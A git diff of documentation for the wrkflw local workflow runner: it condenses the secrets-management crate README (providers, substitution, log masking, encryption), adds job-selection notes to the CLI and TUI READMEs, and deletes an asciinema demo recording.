3. **Test Edge Cases**: Help us identify bypass techniques
|
||||
4. **Documentation**: Improve security documentation and examples
|
||||
|
||||
---
|
||||
|
||||
For more information, see the main [README.md](../../README.md) and [Security Policy](../../SECURITY.md).
|
||||
@@ -1,20 +1,16 @@
|
||||
# wrkflw-secrets
|
||||
|
||||
Comprehensive secrets management for wrkflw workflow execution. This crate provides secure handling of secrets with support for multiple providers, encryption, masking, and GitHub Actions-compatible variable substitution.
|
||||
Secrets management for wrkflw workflow execution. Provides secure handling of secrets with multiple providers, encryption, masking, and GitHub Actions-compatible `${{ secrets.* }}` substitution.
|
||||
|
||||
## Features
|
||||
|
||||
- **Multiple Secret Providers**: Environment variables, files, HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, Google Cloud Secret Manager
|
||||
- **Secure Storage**: AES-256-GCM encryption for secrets at rest
|
||||
- **Variable Substitution**: GitHub Actions-compatible `${{ secrets.* }}` syntax
|
||||
- **Secret Masking**: Automatic masking of secrets in logs and output with pattern detection
|
||||
- **Caching**: Optional caching with TTL for performance optimization
|
||||
- **Rate Limiting**: Built-in protection against secret access abuse
|
||||
- **Input Validation**: Comprehensive validation of secret names and values
|
||||
- **Health Checks**: Provider health monitoring and diagnostics
|
||||
- **Configuration**: Flexible YAML/JSON configuration with environment variable support
|
||||
- **Thread Safety**: Full async/await support with concurrent access
|
||||
- **Performance Optimized**: Compiled regex patterns and caching for high-throughput scenarios
|
||||
- **Providers**: environment variables, files (JSON/YAML/.env), HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, GCP Secret Manager
|
||||
- **Encryption**: AES-256-GCM encrypted storage for secrets at rest
|
||||
- **Masking**: automatic masking of secrets in logs (GitHub tokens, AWS keys, JWTs, etc.)
|
||||
- **Substitution**: GitHub Actions-compatible `${{ secrets.* }}` and `${{ secrets.provider:name }}` syntax
|
||||
- **Caching**: optional TTL-based cache for frequently accessed secrets
|
||||
- **Rate limiting**: built-in protection against secret access abuse
|
||||
- **Validation**: comprehensive input validation for secret names and values
|
||||
|
||||
## Quick Start
|
||||
|
||||
@@ -23,48 +19,26 @@ use wrkflw_secrets::prelude::*;
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> SecretResult<()> {
|
||||
// Create a secret manager with default configuration
|
||||
let manager = SecretManager::default().await?;
|
||||
|
||||
// Set an environment variable
|
||||
|
||||
std::env::set_var("GITHUB_TOKEN", "ghp_your_token_here");
|
||||
|
||||
// Get a secret
|
||||
let secret = manager.get_secret("GITHUB_TOKEN").await?;
|
||||
println!("Token: {}", secret.value());
|
||||
|
||||
// Use secret substitution
|
||||
let mut substitution = SecretSubstitution::new(&manager);
|
||||
let template = "curl -H 'Authorization: Bearer ${{ secrets.GITHUB_TOKEN }}' https://api.github.com";
|
||||
let resolved = substitution.substitute(template).await?;
|
||||
|
||||
|
||||
// Substitute in templates
|
||||
let mut sub = SecretSubstitution::new(&manager);
|
||||
let resolved = sub.substitute("Bearer ${{ secrets.GITHUB_TOKEN }}").await?;
|
||||
|
||||
// Mask secrets in logs
|
||||
let mut masker = SecretMasker::new();
|
||||
masker.add_secret(secret.value());
|
||||
let safe_log = masker.mask(&resolved);
|
||||
println!("Safe log: {}", safe_log);
|
||||
|
||||
println!("{}", masker.mask(&resolved));
|
||||
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
## Configuration
|
||||
|
||||
### Environment Variables
|
||||
|
||||
```bash
|
||||
# Set default provider
|
||||
export WRKFLW_DEFAULT_SECRET_PROVIDER=env
|
||||
|
||||
# Enable/disable secret masking
|
||||
export WRKFLW_SECRET_MASKING=true
|
||||
|
||||
# Set operation timeout
|
||||
export WRKFLW_SECRET_TIMEOUT=30
|
||||
```
|
||||
|
||||
### Configuration File
|
||||
|
||||
Create `~/.wrkflw/secrets.yml`:
|
||||
|
||||
```yaml
|
||||
@@ -78,11 +52,9 @@ providers:
|
||||
env:
|
||||
type: environment
|
||||
prefix: "WRKFLW_SECRET_"
|
||||
|
||||
file:
|
||||
type: file
|
||||
path: "~/.wrkflw/secrets.json"
|
||||
|
||||
vault:
|
||||
type: vault
|
||||
url: "https://vault.example.com"
|
||||
@@ -92,296 +64,13 @@ providers:
|
||||
mount_path: "secret"
|
||||
```
|
||||
|
||||
## Secret Providers
|
||||
|
||||
### Environment Variables
|
||||
|
||||
The simplest provider reads secrets from environment variables:
|
||||
|
||||
```rust
|
||||
// With prefix
|
||||
std::env::set_var("WRKFLW_SECRET_API_KEY", "secret_value");
|
||||
let secret = manager.get_secret_from_provider("env", "API_KEY").await?;
|
||||
|
||||
// Without prefix
|
||||
std::env::set_var("GITHUB_TOKEN", "ghp_token");
|
||||
let secret = manager.get_secret_from_provider("env", "GITHUB_TOKEN").await?;
|
||||
```
|
||||
|
||||
### File-based Storage
|
||||
|
||||
Store secrets in JSON, YAML, or environment files:
|
||||
|
||||
**JSON format** (`secrets.json`):
|
||||
```json
|
||||
{
|
||||
"API_KEY": "secret_api_key",
|
||||
"DB_PASSWORD": "secret_password"
|
||||
}
|
||||
```
|
||||
|
||||
**Environment format** (`secrets.env`):
|
||||
```bash
|
||||
API_KEY=secret_api_key
|
||||
DB_PASSWORD="quoted password"
|
||||
GITHUB_TOKEN='single quoted token'
|
||||
```
|
||||
|
||||
**YAML format** (`secrets.yml`):
|
||||
```yaml
|
||||
API_KEY: secret_api_key
|
||||
DB_PASSWORD: secret_password
|
||||
```
|
||||
|
||||
### HashiCorp Vault
|
||||
|
||||
```yaml
|
||||
providers:
|
||||
vault:
|
||||
type: vault
|
||||
url: "https://vault.example.com"
|
||||
auth:
|
||||
method: token
|
||||
token: "${VAULT_TOKEN}"
|
||||
mount_path: "secret"
|
||||
```
|
||||
|
||||
### AWS Secrets Manager
|
||||
|
||||
```yaml
|
||||
providers:
|
||||
aws:
|
||||
type: aws_secrets_manager
|
||||
region: "us-east-1"
|
||||
role_arn: "arn:aws:iam::123456789012:role/SecretRole" # optional
|
||||
```
|
||||
|
||||
### Azure Key Vault
|
||||
|
||||
```yaml
|
||||
providers:
|
||||
azure:
|
||||
type: azure_key_vault
|
||||
vault_url: "https://myvault.vault.azure.net/"
|
||||
auth:
|
||||
method: service_principal
|
||||
client_id: "${AZURE_CLIENT_ID}"
|
||||
client_secret: "${AZURE_CLIENT_SECRET}"
|
||||
tenant_id: "${AZURE_TENANT_ID}"
|
||||
```
|
||||
|
||||
### Google Cloud Secret Manager
|
||||
|
||||
```yaml
|
||||
providers:
|
||||
gcp:
|
||||
type: gcp_secret_manager
|
||||
project_id: "my-project"
|
||||
key_file: "/path/to/service-account.json" # optional
|
||||
```
|
||||
|
||||
## Variable Substitution
|
||||
|
||||
Support for GitHub Actions-compatible secret references:
|
||||
|
||||
```rust
|
||||
let mut substitution = SecretSubstitution::new(&manager);
|
||||
|
||||
// Default provider
|
||||
let template = "TOKEN=${{ secrets.GITHUB_TOKEN }}";
|
||||
let resolved = substitution.substitute(template).await?;
|
||||
|
||||
// Specific provider
|
||||
let template = "API_KEY=${{ secrets.vault:API_KEY }}";
|
||||
let resolved = substitution.substitute(template).await?;
|
||||
```
|
||||
|
||||
## Secret Masking
|
||||
|
||||
Automatically mask secrets in logs and output:
|
||||
|
||||
```rust
|
||||
let mut masker = SecretMasker::new();
|
||||
|
||||
// Add specific secrets
|
||||
masker.add_secret("secret_value");
|
||||
|
||||
// Automatic pattern detection for common secret types
|
||||
let log = "Token: ghp_1234567890123456789012345678901234567890";
|
||||
let masked = masker.mask(log);
|
||||
// Output: "Token: ghp_***"
|
||||
```
|
||||
|
||||
Supported patterns:
|
||||
- GitHub Personal Access Tokens (`ghp_*`)
|
||||
- GitHub App tokens (`ghs_*`)
|
||||
- GitHub OAuth tokens (`gho_*`)
|
||||
- AWS Access Keys (`AKIA*`)
|
||||
- JWT tokens
|
||||
- Generic API keys
|
||||
|
||||
## Encrypted Storage
|
||||
|
||||
For sensitive environments, use encrypted storage:
|
||||
|
||||
```rust
|
||||
use wrkflw_secrets::storage::{EncryptedSecretStore, KeyDerivation};
|
||||
|
||||
// Create encrypted store
|
||||
let (mut store, key) = EncryptedSecretStore::new()?;
|
||||
|
||||
// Add secrets
|
||||
store.add_secret(&key, "API_KEY", "secret_value")?;
|
||||
|
||||
// Save to file
|
||||
store.save_to_file("secrets.encrypted").await?;
|
||||
|
||||
// Load from file
|
||||
let loaded_store = EncryptedSecretStore::load_from_file("secrets.encrypted").await?;
|
||||
let secret = loaded_store.get_secret(&key, "API_KEY")?;
|
||||
```
|
||||
|
||||
## Error Handling
|
||||
|
||||
All operations return `SecretResult<T>` with comprehensive error types:
|
||||
|
||||
```rust
|
||||
match manager.get_secret("MISSING_SECRET").await {
|
||||
Ok(secret) => println!("Secret: {}", secret.value()),
|
||||
Err(SecretError::NotFound { name }) => {
|
||||
eprintln!("Secret '{}' not found", name);
|
||||
}
|
||||
Err(SecretError::ProviderNotFound { provider }) => {
|
||||
eprintln!("Provider '{}' not configured", provider);
|
||||
}
|
||||
Err(SecretError::AuthenticationFailed { provider, reason }) => {
|
||||
eprintln!("Auth failed for {}: {}", provider, reason);
|
||||
}
|
||||
Err(e) => eprintln!("Error: {}", e),
|
||||
}
|
||||
```
|
||||
|
||||
## Health Checks
|
||||
|
||||
Monitor provider health:
|
||||
|
||||
```rust
|
||||
let health_results = manager.health_check().await;
|
||||
for (provider, result) in health_results {
|
||||
match result {
|
||||
Ok(()) => println!("✓ {} is healthy", provider),
|
||||
Err(e) => println!("✗ {} failed: {}", provider, e),
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Security Best Practices
|
||||
|
||||
1. **Use encryption** for secrets at rest
|
||||
2. **Enable masking** to prevent secrets in logs
|
||||
3. **Rotate secrets** regularly
|
||||
4. **Use least privilege** access for secret providers
|
||||
5. **Monitor access** through health checks and logging
|
||||
6. **Use provider-specific authentication** (IAM roles, service principals)
|
||||
7. **Configure rate limiting** to prevent abuse
|
||||
8. **Validate input** - the system automatically validates secret names and values
|
||||
|
||||
## Rate Limiting
|
||||
|
||||
Protect against abuse with built-in rate limiting:
|
||||
|
||||
```rust
|
||||
use wrkflw_secrets::rate_limit::RateLimitConfig;
|
||||
use std::time::Duration;
|
||||
|
||||
let mut config = SecretConfig::default();
|
||||
config.rate_limit = RateLimitConfig {
|
||||
max_requests: 100, // Max requests per window
|
||||
window_duration: Duration::from_secs(60), // 1 minute window
|
||||
enabled: true,
|
||||
};
|
||||
|
||||
let manager = SecretManager::new(config).await?;
|
||||
|
||||
// Rate limiting is automatically applied to all secret access operations
|
||||
match manager.get_secret("API_KEY").await {
|
||||
Ok(secret) => println!("Success: {}", secret.value()),
|
||||
Err(SecretError::RateLimitExceeded(msg)) => {
|
||||
println!("Rate limited: {}", msg);
|
||||
}
|
||||
Err(e) => println!("Other error: {}", e),
|
||||
}
|
||||
```
|
||||
|
||||
## Input Validation
|
||||
|
||||
All inputs are automatically validated:
|
||||
|
||||
```rust
|
||||
// Secret names must:
|
||||
// - Be 1-255 characters long
|
||||
// - Contain only letters, numbers, underscores, hyphens, and dots
|
||||
// - Not start or end with dots
|
||||
// - Not contain consecutive dots
|
||||
// - Not be reserved system names
|
||||
|
||||
// Secret values must:
|
||||
// - Be under 1MB in size
|
||||
// - Not contain null bytes
|
||||
// - Be valid UTF-8
|
||||
|
||||
// Invalid examples that will be rejected:
|
||||
manager.get_secret("").await; // Empty name
|
||||
manager.get_secret("invalid/name").await; // Invalid characters
|
||||
manager.get_secret(".hidden").await; // Starts with dot
|
||||
manager.get_secret("CON").await; // Reserved name
|
||||
```
|
||||
|
||||
## Performance Features
|
||||
|
||||
### Caching
|
||||
|
||||
```rust
|
||||
let config = SecretConfig {
|
||||
enable_caching: true,
|
||||
cache_ttl_seconds: 300, // 5 minutes
|
||||
..Default::default()
|
||||
};
|
||||
```
|
||||
|
||||
### Optimized Pattern Matching
|
||||
|
||||
- Pre-compiled regex patterns for secret detection
|
||||
- Global pattern cache using `OnceLock`
|
||||
- Efficient string replacement algorithms
|
||||
- Cached mask generation
|
||||
|
||||
### Benchmarking
|
||||
|
||||
Run performance benchmarks:
|
||||
|
||||
```bash
|
||||
cargo bench -p wrkflw-secrets
|
||||
```
|
||||
|
||||
## Feature Flags
|
||||
|
||||
Enable optional providers:
|
||||
|
||||
```toml
|
||||
[dependencies]
|
||||
wrkflw-secrets = { version = "0.1", features = ["vault-provider", "aws-provider"] }
|
||||
wrkflw-secrets = { version = "0.7", features = ["vault-provider", "aws-provider"] }
|
||||
```
|
||||
|
||||
Available features:
|
||||
- `env-provider` (default)
|
||||
- `file-provider` (default)
|
||||
- `vault-provider`
|
||||
- `aws-provider`
|
||||
- `azure-provider`
|
||||
- `gcp-provider`
|
||||
- `all-providers`
|
||||
Available: `env-provider` (default), `file-provider` (default), `vault-provider`, `aws-provider`, `azure-provider`, `gcp-provider`, `all-providers`.
|
||||
|
||||
## License
|
||||
|
||||
MIT License - see LICENSE file for details.
|
||||
See the [secrets demo](../../examples/secrets-demo/) for end-to-end usage examples.
|
||||
|
||||
@@ -3,7 +3,9 @@
|
||||
Terminal user interface for browsing workflows, running them, and viewing logs.
|
||||
|
||||
- Tabs: Workflows, Execution, Logs, Help
|
||||
- Job selection mode: pick and run individual jobs within a workflow
|
||||
- Hotkeys: `1-4`, `Tab`, `Enter`, `r`, `R`, `t`, `v`, `e`, `q`, etc.
|
||||
- Optional: enabled via the `tui` cargo feature flag
|
||||
- Integrates with `wrkflw-executor` and `wrkflw-logging`
|
||||
|
||||
### Example
|
||||
|
||||
@@ -52,7 +52,7 @@ wrkflw tui --runtime podman
|
||||
|
||||
- **run**: Execute a workflow or pipeline locally
|
||||
- Runtimes: `docker` (default), `podman`, `emulation`
|
||||
- Flags: `--runtime`, `--preserve-containers-on-failure`, `--gitlab`, `--verbose`
|
||||
- Flags: `--runtime`, `--job` (run a single job), `--jobs` (list jobs), `--preserve-containers-on-failure`, `--gitlab`, `--verbose`
|
||||
|
||||
- **tui**: Interactive terminal interface
|
||||
- Browse workflows, execute, and inspect logs and job details
|
||||
|
||||
231
demo.cast
231
demo.cast
@@ -1,231 +0,0 @@
|
||||
{"version": 2, "width": 245, "height": 63, "timestamp": 1744630112, "env": {"SHELL": "/bin/zsh", "TERM": "xterm-256color"}}
|
||||
[0.358646, "o", "\u001b[1m\u001b[7m%\u001b[27m\u001b[1m\u001b[0m \r \r"]
|
||||
[0.359099, "o", "\u001b]2;goku@Gokuls-MacBook-Pro:~/projects/wrkflw\u0007\u001b]1;..ojects/wrkflw\u0007"]
|
||||
[0.360595, "o", "\u001b]7;file://Gokuls-MacBook-Pro.local/Users/goku/projects/wrkflw\u001b\\"]
|
||||
[0.361127, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[01;32m➜ \u001b[36mwrkflw\u001b[00m \u001b[K"]
|
||||
[0.361185, "o", "\u001b[?1h\u001b="]
|
||||
[0.361192, "o", "\u001b[?2004h"]
|
||||
[0.400103, "o", "\r\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[01;32m➜ \u001b[36mwrkflw\u001b[00m \u001b[01;34m(\u001b[31mmain\u001b[34m) \u001b[33m✗\u001b[00m \u001b[K"]
|
||||
[3.084486, "o", "c"]
|
||||
[3.210174, "o", "\bca"]
|
||||
[3.330545, "o", "t"]
|
||||
[3.426453, "o", " "]
|
||||
[4.297203, "o", "."]
|
||||
[4.577906, "o", "g"]
|
||||
[4.726606, "o", "i"]
|
||||
[4.804978, "o", "t"]
|
||||
[4.913452, "o", "h"]
|
||||
[5.017646, "o", "u"]
|
||||
[5.189906, "o", "b\u001b[1m/\u001b[0m"]
|
||||
[5.669145, "o", "\b\u001b[0m/workflows\u001b[1m/\u001b[0m"]
|
||||
[5.934515, "o", "\b\u001b[0m/matrix-sample.yml\u001b[1m \u001b[0m"]
|
||||
[6.465851, "o", "\b\u001b[0m \b"]
|
||||
[6.466275, "o", "\u001b[?1l\u001b>"]
|
||||
[6.466299, "o", "\u001b[?2004l\r\r\n"]
|
||||
[6.468191, "o", "\u001b]2;cat .github/workflows/matrix-sample.yml\u0007\u001b]1;cat\u0007"]
|
||||
[6.504486, "o", "name: Matrix Sample\r\n\r\non:\r\n push:\r\n branches: [ main ]\r\n pull_request:\r\n branches: [ main ]\r\n workflow_dispatch:\r\n\r\njobs:\r\n test:\r\n name: Test\r\n runs-on: ${{ matrix.os }}\r\n \r\n strategy:\r\n matrix:\r\n os: [ubuntu-latest, windows-latest, macos-latest]\r\n node: [14, 16]\r\n # Exclude windows with node 14\r\n exclude:\r\n - os: windows-latest\r\n node: 14\r\n # Include an experimental configuration\r\n include:\r\n - os: ubuntu-latest\r\n node: 18\r\n experimental: true\r\n # Set max parallel executions to 2\r\n max-parallel: 2\r\n # Enable fail-fast behavior\r\n fail-fast: true\r\n\r\n steps:\r\n - uses: actions/checkout@v3\r\n \r\n - name: Setup Node.js\r\n uses: actions/setup-node@v3\r\n with:\r\n node-version: ${{ matrix.node }}\r\n \r\n - name: Display configuration\r\n run: |\r\n echo \"OS: ${{ matrix.os }}\"\r\n echo \"Node version: ${{ matrix."]
|
||||
[6.504697, "o", "node }}\"\r\n \r\n - name: Display experimental info\r\n if: ${{ matrix.experimental == true }}\r\n run: echo \"This is an experimental configuration\"\r\n \r\n - name: Build\r\n run: |\r\n echo \"Building with Node ${{ matrix.node }} on ${{ matrix.os }}\"\r\n \r\n - name: Test\r\n run: |\r\n echo \"Testing with Node ${{ matrix.node }} on ${{ matrix.os }}\"\r\n # Add your real test commands here "]
|
||||
[6.504872, "o", "\u001b[1m\u001b[7m%\u001b[27m\u001b[1m\u001b[0m \r \r"]
|
||||
[6.506204, "o", "\u001b]2;goku@Gokuls-MacBook-Pro:~/projects/wrkflw\u0007"]
|
||||
[6.50623, "o", "\u001b]1;..ojects/wrkflw\u0007"]
|
||||
[6.509765, "o", "\u001b]7;file://Gokuls-MacBook-Pro.local/Users/goku/projects/wrkflw\u001b\\"]
|
||||
[6.513083, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[01;32m➜ \u001b[36mwrkflw\u001b[00m \u001b[01;34m(\u001b[31mmain\u001b[34m) \u001b[33m✗\u001b[00m \u001b[K"]
|
||||
[6.513245, "o", "\u001b[?1h\u001b="]
|
||||
[6.513334, "o", "\u001b[?2004h"]
|
||||
[7.863664, "o", "c"]
|
||||
[8.007692, "o", "\bcl"]
|
||||
[8.129813, "o", "e"]
|
||||
[8.388163, "o", "a"]
|
||||
[8.492268, "o", "r"]
|
||||
[8.628386, "o", "\u001b[?1l\u001b>"]
|
||||
[8.628749, "o", "\u001b[?2004l\r\r\n"]
|
||||
[8.630529, "o", "\u001b]2;clear\u0007\u001b]1;clear\u0007"]
|
||||
[8.668525, "o", "\u001b[3J\u001b[H\u001b[2J"]
|
||||
[8.668859, "o", "\u001b[1m\u001b[7m%\u001b[27m\u001b[1m\u001b[0m \r \r"]
|
||||
[8.670158, "o", "\u001b]2;goku@Gokuls-MacBook-Pro:~/projects/wrkflw\u0007\u001b]1;..ojects/wrkflw\u0007"]
|
||||
[8.67427, "o", "\u001b]7;file://Gokuls-MacBook-Pro.local/Users/goku/projects/wrkflw\u001b\\"]
|
||||
[8.678099, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[01;32m➜ \u001b[36mwrkflw\u001b[00m \u001b[01;34m(\u001b[31mmain\u001b[34m) \u001b[33m✗\u001b[00m \u001b[K"]
|
||||
[8.678204, "o", "\u001b[?1h\u001b="]
|
||||
[8.678224, "o", "\u001b[?2004h"]
|
||||
[8.972345, "o", "c"]
|
||||
[9.047595, "o", "\bca"]
|
||||
[9.318014, "o", "r"]
|
||||
[9.342734, "o", "g"]
|
||||
[9.437375, "o", "o"]
|
||||
[9.561836, "o", " "]
|
||||
[9.770543, "o", "r"]
|
||||
[10.951194, "o", "\u001b[?1l\u001b>"]
|
||||
[10.951638, "o", "\u001b[?2004l\r\r\n"]
|
||||
[10.953377, "o", "\u001b]2;cargo r\u0007\u001b]1;cargo\u0007"]
|
||||
[11.297671, "o", "\u001b[1m\u001b[32m Finished\u001b[0m `dev` profile [unoptimized + debuginfo] target(s) in 0.25s\r\n"]
|
||||
[11.302941, "o", "\u001b[1m\u001b[32m Running\u001b[0m `target/debug/wrkflw`\r\n"]
|
||||
[11.742843, "o", "\u001b[?1049h\u001b[?1000h\u001b[?1002h\u001b[?1003h\u001b[?1015h\u001b[?1006h"]
|
||||
[11.762873, "o", "\u001b[1;1H╭─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────\u001b[1m\u001b[38;5;6m wrkflw \u001b[22m\u001b[39m──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮\u001b[2;1H│\u001b[2;3H\u001b[1m\u001b[4m\u001b[38;5;3m\u001b[48;5;8mW\u001b[24morkflows\u001b[2;13H\u001b[22m\u001b[39m\u001b[49m|\u001b[2;15H\u001b[38;5;15mE\u001b[4m\u001b[38;5;3mx\u001b[24m\u001b[38;5;15mecution\u001b[2;25H\u001b[39m|\u001b[2;27H\u001b[4m\u001b[38;5;3mL\u001b[24m\u001b[38;5;15mogs\u001b[2;32H\u001b[39m|\u001b[2;34H\u001b[4m\u001b[38;5;3mH\u001b[24m\u001b[38;5;15melp\u001b[2;245H\u001b[39m│\u001b[3;1H╰─────"]
|
||||
[11.763, "o", "──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯\u001b[4;1H╭\u001b[38;5;3m Available Workflows \u001b[39m───────────────────────────────────────────────────────────────────────────────────────"]
|
||||
[11.763113, "o", "───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮\u001b[5;1H│\u001b[1m\u001b[48;5;8m» \u001b[38;5;2m \u001b[39m matrix-sample.yml \u001b[22m\u001b[49m│\u001b[6;1H│\u001b[6;245H│\u001b[7;1H│\u001b[7;245H│\u001b[8;1H│\u001b[8;245H│\u001b[9;1H│\u001b[9;245H│\u001b[10;1H│\u001b[10;245H│\u001b[11;1H│\u001b[11;245H│\u001b[12;1H│\u001b[12;245H│\u001b[13;1H│\u001b[13;245H│\u001b[14;1H│\u001b[14;245H│\u001b[15;1H│\u001b[15;245H│\u001b[16;1H│\u001b[16;245H│\u001b[17;1H│\u001b[17;245H│\u001b[18;1H│\u001b[18;245H│\u001b[19;1H│\u001b[19;245H│\u001b[20;1H│\u001b[20;245H│\u001b"]
|
||||
[11.7632, "o", "[21;1H│\u001b[21;245H│\u001b[22;1H│\u001b[22;245H│\u001b[23;1H│\u001b[23;245H│\u001b[24;1H│\u001b[24;245H│\u001b[25;1H│\u001b[25;245H│\u001b[26;1H│\u001b[26;245H│\u001b[27;1H│\u001b[27;245H│\u001b[28;1H│\u001b[28;245H│\u001b[29;1H│\u001b[29;245H│\u001b[30;1H│\u001b[30;245H│\u001b[31;1H│\u001b[31;245H│\u001b[32;1H│\u001b[32;245H│\u001b[33;1H│\u001b[33;245H│\u001b[34;1H│\u001b[34;245H│\u001b[35;1H│\u001b[35;245H│\u001b[36;1H│\u001b[36;245H│\u001b[37;1H│\u001b[37;245H│\u001b[38;1H│\u001b[38;245H│\u001b[39;1H│\u001b[39;245H│\u001b[40;1H│\u001b[40;245H│\u001b[41;1H│\u001b[41;245H│\u001b[42;1H│\u001b[42;245H│\u001b[43;1H│\u001b[43;245H│\u001b[44;1H│\u001b[44;245H│\u001b[45;1H│\u001b[45;245H│\u001b[46;1H│\u001b[46;245H│\u001b[47;1H│\u001b[47;245H│\u001b[48;1H│\u001b[48;245H│\u001b[49;1H│\u001b[49;245H│\u001b[50;1H│\u001b[50;245H│\u001b[51;1H│\u001b[51;245H│\u001b[52;1H│\u001b[52;245H│\u001b[53;1H│\u001b[53;245H│\u001b[54;1H│\u001b[54;245H│\u001b[55;1H│\u001b[55;245H│\u001b[56;1H│\u001b[56;245H│\u001b[57;1H│\u001b[57;245H│\u001b[58;1H│\u001b[58;245H│\u001b[59;1H│\u001b[59;245H│\u001b[60;1H│\u001b[60;245H│\u001b[61;1H╰─────────────────────────────────────────────"]
|
||||
[11.763229, "o", "──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯\u001b[62;1HRuntime:\u001b[62;10H\u001b[1m\u001b[38;5;4mDocker\u001b[62;17H\u001b[22m\u001b[39m|\u001b[62;19HMode:\u001b[62;25H\u001b[1m\u001b[38;5;2mEXECUTION\u001b[62;35H\u001b[22m\u001b[39m|\u001b[62;37H\u001b[38;5;15m1 workflow(s) loaded\u001b[62;194H\u001b[1m\u001b[38;5;3me\u001b[22m\u001b[39m:\u001b[62;197HToggle\u001b[62;204HEmulation\u001b[62;214H|\u001b[62;216H\u001b[1m\u001b[38;5;3mv\u001b[22m\u001b[39m:\u001b[62;219HToggle\u001b[62;226HValidation\u001b[62;237H|\u001b[62;239H\u001b[1m\u001b[38;5;3mq\u001b[22m\u001b[39m:\u001b[62;242HQuit\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[11.895245, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[12.027435, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[12.155661, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[12.285298, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[12.41511, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[12.536683, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[12.654913, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[12.784987, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[12.919441, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[13.052315, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[13.181303, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[13.312979, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[13.447418, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[13.577515, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[13.708341, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[13.84212, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[13.97238, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[14.09813, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[14.231529, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[14.364825, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[14.485237, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[14.538352, "o", "\u001b[62;25H\u001b[1m\u001b[38;5;3mVALIDATION\u001b[22m\u001b[39m | \u001b[38;5;15m1 workflow(s) loaded\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[14.671113, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[14.805406, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[14.937058, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[15.068969, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[15.19597, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[15.325264, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[15.337, "o", "\u001b[5;4H\u001b[1m\u001b[38;5;2m\u001b[48;5;8m✓\u001b[5;6H\u001b[38;5;7m⏭ \u001b[39mmatrix-sample.yml\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[15.467794, "o", "\u001b[5;6H\u001b[1m\u001b[38;5;6m\u001b[48;5;8m⟳ \u001b[39mmatrix-sample.yml \u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[15.601104, "o", "\u001b[5;6H\u001b[1m\u001b[38;5;2m\u001b[48;5;8m✅\u001b[5;8H \u001b[39mmatrix-sample.yml\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[15.731386, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[15.862902, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[15.990732, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[16.124934, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[16.248679, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[16.378496, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[16.50896, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
